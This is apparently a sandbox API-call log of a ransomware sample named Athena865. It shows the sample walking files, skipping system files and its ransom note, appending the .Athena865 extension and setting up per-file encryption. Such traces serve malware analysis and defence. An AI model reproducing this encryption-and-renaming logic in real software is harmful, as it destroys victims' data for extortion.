[0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.848] lstrlenW (lpString="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp") returned 57 [0099.848] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp" | out: lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp") returned="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp" [0099.848] lstrlenW (lpString="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp") returned 57 [0099.848] lstrlenW (lpString="Athena865") returned 9 [0099.848] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.848] lstrlenW (lpString=".dll") returned 4 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.848] lstrlenW (lpString=".lnk") returned 4 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.848] lstrlenW (lpString=".ini") returned 4 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.848] lstrlenW (lpString=".sys") returned 4 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.848] lstrlenW (lpString="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp") returned 57 [0099.848] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp.Athena865") returned 120 [0099.849] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.849] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.849] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3016) returned 1 [0099.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.850] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.850] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.851] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.851] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed0, lpName=0x0) returned 0x154 [0099.853] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xed0) returned 0x100000 [0099.855] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.855] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.855] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.856] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.856] CloseHandle (hObject=0x154) returned 1 [0099.856] CloseHandle (hObject=0x17c) returned 1 [0099.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.856] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa0fe80, ftCreationTime.dwHighDateTime=0x1d2fc28, ftLastAccessTime.dwLowDateTime=0xa0fe80, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0xa0fe80, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", cAlternateFileName="{CB7F5~1")) returned 1 [0099.856] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.857] lstrlenW (lpString="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp") returned 57 [0099.857] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp" | out: lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp") returned="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp" [0099.857] lstrlenW (lpString="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp") returned 57 [0099.857] lstrlenW (lpString="Athena865") returned 9 [0099.857] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.857] lstrlenW (lpString=".dll") returned 4 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.857] lstrlenW (lpString=".lnk") returned 4 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.857] lstrlenW (lpString=".ini") returned 4 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.857] lstrlenW (lpString=".sys") returned 4 [0099.857] lstrcmpiW (lpString1="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.857] lstrlenW (lpString="{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp") returned 57 [0099.858] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp.Athena865") returned 120 [0099.858] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.859] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.859] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3608) returned 1 [0099.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.859] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.860] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.860] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.860] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x154 [0099.862] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0099.865] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.865] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.865] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.866] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.866] CloseHandle (hObject=0x154) returned 1 [0099.866] CloseHandle (hObject=0x17c) returned 1 [0099.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.867] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6e585f20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6e585f20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6e585f20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp", cAlternateFileName="{DBAB6~1")) returned 1 [0099.867] lstrcmpiW (lpString1="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.867] lstrcmpiW (lpString1="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.867] lstrcmpiW (lpString1="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.867] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp" | out: lpString1="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp") returned="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp" [0099.867] lstrlenW (lpString="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp") returned 57 [0099.867] lstrlenW (lpString="Athena865") returned 9 [0099.867] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.867] lstrlenW (lpString=".dll") returned 4 [0099.867] lstrcmpiW (lpString1="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.867] lstrlenW (lpString=".lnk") returned 4 [0099.867] lstrcmpiW (lpString1="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.867] lstrlenW (lpString=".ini") returned 4 [0099.867] lstrcmpiW (lpString1="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.867] lstrlenW (lpString=".sys") returned 4 [0099.867] lstrcmpiW (lpString1="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.867] lstrlenW (lpString="{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp") returned 57 [0099.867] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp.Athena865") returned 120 [0099.867] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{dbab67da-647a-401e-a02b-58c06249c638}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{dbab67da-647a-401e-a02b-58c06249c638}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.868] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{dbab67da-647a-401e-a02b-58c06249c638}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{dbab67da-647a-401e-a02b-58c06249c638}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.868] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3304) returned 1 [0099.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.869] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.869] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.869] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.870] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xff0, lpName=0x0) returned 0x154 [0099.873] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xff0) returned 0x100000 [0099.874] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.875] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.875] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.875] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.876] CloseHandle (hObject=0x154) returned 1 [0099.876] CloseHandle (hObject=0x17c) returned 1 [0099.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.876] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x8402be80, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x8402be80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x8402be80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp", cAlternateFileName="{EE224~1")) returned 1 [0099.876] lstrcmpiW (lpString1="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.876] lstrcmpiW (lpString1="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.876] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp" | out: lpString1="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp") returned="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp" [0099.876] lstrlenW (lpString="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp") returned 57 [0099.876] lstrlenW (lpString="Athena865") returned 9 [0099.876] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.876] lstrlenW (lpString=".dll") returned 4 [0099.876] lstrcmpiW (lpString1="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.876] lstrlenW (lpString=".lnk") returned 4 [0099.876] lstrcmpiW (lpString1="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.876] lstrlenW (lpString=".ini") returned 4 [0099.876] lstrcmpiW (lpString1="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.876] lstrlenW (lpString=".sys") returned 4 [0099.876] lstrcmpiW (lpString1="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.876] lstrlenW (lpString="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp") returned 57 [0099.876] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp.Athena865") returned 120 [0099.877] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{ee224d27-954d-4040-87c6-066b5517487c}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{ee224d27-954d-4040-87c6-066b5517487c}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.878] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{ee224d27-954d-4040-87c6-066b5517487c}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.878] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1352) returned 1 [0099.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.879] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.880] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.880] 